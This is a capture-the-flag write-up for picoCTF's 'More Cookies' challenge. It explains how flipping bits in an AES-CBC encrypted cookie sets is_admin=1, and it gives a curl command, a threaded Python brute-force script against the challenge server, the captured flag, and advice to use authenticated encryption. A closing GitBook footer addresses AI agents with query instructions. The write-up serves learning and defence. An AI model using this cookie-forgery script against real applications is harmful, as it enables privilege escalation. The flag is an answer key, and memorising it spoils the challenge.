> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/more-cookies.md).

# picoCTF — More Cookies

**Category:** Web | **Difficulty:** Medium

## What's going on?

The app stores an `auth_name` cookie that is AES-CBC encrypted (with homomorphic properties). The page only shows the flag if `is_admin=1` is in the decrypted plaintext. We can't decrypt it, but we can **bit-flip the ciphertext** to flip bits in the plaintext — that's the homomorphic encryption hint.

## Step 1 — Get the cookie

```bash
curl -c cookies.txt -s http://wily-courier.picoctf.net:62094/ > /dev/null && cat cookies.txt
```

The cookie is **double base64 encoded** → base64 → base64 → raw AES-CBC ciphertext (96 bytes).

## Step 2 — CBC Bit Flip Attack

In AES-CBC, flipping a bit at position N in the ciphertext flips the corresponding bit in block N+1 of the plaintext. So we brute-force all 768 possible single-bit flips (96 bytes × 8 bits) until the server returns the flag instead of a redirect.

```python
import requests
import base64
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://wily-courier.picoctf.net:62094/"

s = requests.Session()
s.get(url)
cookie = s.cookies.get("auth_name")
decoded = base64.b64decode(cookie)
ciphertext = bytearray(base64.b64decode(decoded))

def try_flip(byte_pos, bit):
    try:
        modified = bytearray(ciphertext)
        modified[byte_pos] ^= (1 << bit)
        inner = base64.b64encode(bytes(modified))
        outer = base64.b64encode(inner).decode()
        r = requests.get(url, cookies={"auth_name": outer}, timeout=10)
        if "picoCTF" in r.text:
            return (byte_pos, bit, r.text)
    except Exception:
        pass
    return None

tasks = [(b, bit) for b in range(len(ciphertext)) for bit in range(8)]

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = {executor.submit(try_flip, b, bit): (b, bit) for b, bit in tasks}
    for future in as_completed(futures):
        result = future.result()
        if result:
            print(f"FLAG FOUND! byte={result[0]} bit={result[1]}")
            print(result[2])
            break
```

## Result

The winning flip was **byte 9, bit 0** — which flipped `is_admin=0` to `is_admin=1` in the decrypted plaintext.

## Flag

```
picoCTF{cO0ki3s_yum_00890977}
```

## Key Takeaways

* AES-CBC is **malleable** — ciphertext bit flips cause predictable plaintext bit flips
* Never use CBC mode to protect integrity-sensitive data without a MAC (use AES-GCM instead)
* The homomorphic encryption hint was pointing directly at this CBC property


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/more-cookies.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
